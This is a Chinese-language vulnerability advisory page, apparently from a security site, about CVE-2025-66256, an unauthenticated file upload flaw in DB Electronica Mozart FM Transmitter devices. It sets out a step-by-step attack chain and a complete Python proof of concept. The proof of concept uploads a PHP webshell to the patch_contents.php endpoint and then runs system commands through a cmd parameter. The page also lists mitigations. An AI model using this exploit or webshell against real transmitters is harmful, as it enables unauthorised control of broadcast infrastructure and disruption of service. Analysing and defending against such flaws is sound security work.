IPBUF安全漏洞报告
English
CVE-2025-66256 CVSS 9.8 严重

CVE-2025-66256: DB Electronica Mozart FM Transmitter未授权任意文件上传漏洞

披露日期: 2025-11-26
来源: b7efe717-a805-47cf-8e9a-921fca0ce0ce

漏洞信息

漏洞编号
CVE-2025-66256
漏洞类型
未授权任意文件上传
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
DB Electronica Telecomunicazioni S.p.A. Mozart FM Transmitter

相关标签

CVE-2025-66256任意文件上传未授权访问Mozart FM TransmitterDB Electronica远程代码执行WebShellFM广播设备OT安全ICS安全

漏洞概述

CVE-2025-66256是DB Electronica Telecomunicazioni S.p.A.公司开发的Mozart FM Transmitter发射器设备中的一个严重安全漏洞。该漏洞存在于patch_contents.php端点,允许未经身份验证的攻击者上传任意文件到服务器。漏洞影响Mozart FM Transmitter多个型号,包括30、50、100、300、500、1000、2000、3000、3500、6000和7000版本。由于该端点缺少文件类型验证、MIME类型检查和内容验证机制,攻击者可以上传恶意文件(如WebShell)并执行任意代码,从而完全控制受影响的设备。此漏洞无需认证即可利用,CVSS评分高达9.8,属于严重级别,对系统的机密性、完整性和可用性都造成严重影响。

技术细节

该漏洞位于/var/tdf/patch_contents.php文件,攻击者可以通过HTTP POST请求直接访问该端点而无需任何身份验证。漏洞利用过程如下:首先,攻击者构造包含恶意文件的HTTP POST请求,目标指向patch_contents.php文件。由于该端点缺少以下安全检查:1)文件类型白名单验证;2)MIME类型检查;3)文件内容扫描;4)文件大小合理限制(仅限制在16MB以内)。攻击者可以上传任何类型的文件,包括PHP WebShell、可执行脚本或恶意工具。上传的文件会被存储在可访问的Web目录中,攻击者随后可以通过HTTP请求访问上传的文件来执行任意代码。由于该设备通常部署在广播基础设施中,攻击成功可能导致广播中断、数据泄露或进一步横向移动。

攻击链分析

STEP 1
步骤1
攻击者识别目标Mozart FM Transmitter设备,通过端口扫描发现开放的Web服务端口(通常为80/443)
STEP 2
步骤2
攻击者构造恶意PHP文件(如WebShell),内容包含执行系统命令的代码
STEP 3
步骤3
攻击者向目标服务器的/var/tdf/patch_contents.php端点发送未认证的HTTP POST请求,上传恶意文件
STEP 4
步骤4
服务器端点缺少验证逻辑,直接保存上传的文件到Web可访问目录(如/var/tdf/)
STEP 5
步骤5
攻击者通过HTTP请求访问上传的WebShell,使用cmd参数执行任意系统命令
STEP 6
步骤6
攻击者获取服务器完全控制权,可执行任意代码、窃取数据、部署后门或进行横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-66256 PoC - Unauthenticated Arbitrary File Upload # Target: DB Electronica Mozart FM Transmitter # Endpoint: /var/tdf/patch_contents.php def upload_shell(target_url, filename="shell.php"): """ Upload malicious file to vulnerable endpoint """ # PHP webshell content webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" # Prepare multipart form data files = { 'file': (filename, webshell, 'application/x-php') } try: # Send POST request without authentication response = requests.post( f"{target_url}/var/tdf/patch_contents.php", files=files, timeout=10 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") # Check if file was uploaded successfully if response.status_code == 200: shell_url = f"{target_url}/var/tdf/{filename}" print(f"[+] Shell uploaded successfully!") print(f"[+] Access shell at: {shell_url}?cmd=whoami") return shell_url else: print("[-] Upload failed") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100") sys.exit(1) target = sys.argv[1].rstrip('/') upload_shell(target)

影响范围

Mozart FM Transmitter 30
Mozart FM Transmitter 50
Mozart FM Transmitter 100
Mozart FM Transmitter 300
Mozart FM Transmitter 500
Mozart FM Transmitter 1000
Mozart FM Transmitter 2000
Mozart FM Transmitter 3000
Mozart FM Transmitter 3500
Mozart FM Transmitter 6000
Mozart FM Transmitter 7000

防御指南

临时缓解措施
在厂商发布官方修复补丁之前,建议采取以下临时缓解措施:1)使用网络层访问控制,限制对Web管理界面的访问,仅允许授权IP地址访问;2)在反向代理或防火墙层面阻断对/var/tdf/patch_contents.php端点的访问;3)监控Web服务器的访问日志,及时发现异常的文件上传行为;4)考虑使用网络隔离技术将FM发射器设备部署在独立的隔离网段;5)如果业务允许,暂时禁用设备的Web管理功能,使用物理访问控制方式管理设备。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表